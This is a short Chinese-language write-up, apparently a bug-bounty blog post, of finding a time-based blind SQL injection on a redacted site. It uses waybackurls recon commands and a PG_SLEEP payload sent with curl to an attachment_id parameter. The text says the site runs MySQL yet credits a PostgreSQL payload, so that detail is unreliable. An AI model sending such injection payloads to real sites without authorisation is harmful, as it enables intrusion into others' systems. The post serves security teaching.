一次盲sqli之旅
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
前言
本次漏洞之旅并没有进行额外的信息搜集,但采用了一种不同的方法,虽然非常基本,但绝对值得一试。
正文
目标子域名为redacted.com
使用wayback machine找出与该目标域名相关的所有url。这里使用waybackurls工具查找url。
$ echo redacted.com | waybackurls | anew urls.txt
在信息搜集的时候,收集的是带有id参数、重定向参数、url参数的URLs
然后使用如下的字典来进行fuzz:
https://github.com/PortSwigger/param-miner/blob/master/resources/params
注意:此命令可以过滤出的url并不只是针对sqli的!!!(xss等漏洞也是可以的)
$ cat urls.txt | grep "id=" | anew temp-sqli.txt
找到一个url:
https://www.redacted.com/?attachment_id=123
分析参数
在URL末尾添加单引号(')和双引号("),但没有发现任何SQL错误或DB错误
https://www.redacted.com/?attachment_id=123'
https://www.redacted.com/?attachment_id=123"
从wappalyzer中,发现web应用程序正在使用MySQL数据库。于是尝试一下SQLi,所以收集了一些SQLi有效负载,并在上面的URL上进行了测试。
使用BP来发送请求,在执行基于时间的SQLi有效载荷时检查时间差,下面的请求没有SQLi有效载荷,生成响应所需的时间较短。
找到了一个有效载荷" AND 4564=(SELECT 4564 FROM PG_SLEEP(11)) OR "04586"="4586--
,这里起作用,成功地在网络应用程序上睡眠了11秒,表明成功执行了基于时间的盲SQL注入攻击。带有有效载荷的完整URL看起来像这样
$ curl https://www.redacted.com/?attachment_id=123" AND 4564=(SELECT 4564 FROM PG_SLEEP(11)) OR "04586"="4586--
从上面的截图中可以清楚地看到,使用SQLi有效负载完成请求所花费的时间增加了,这证实了漏洞的存在
福利视频
笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品
https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374
技术交流
技术交流请加笔者微信:richardo1o1 (暗号:growing)
如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
往期回顾
原文始发于微信公众号(迪哥讲事):一次盲sqli之旅
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论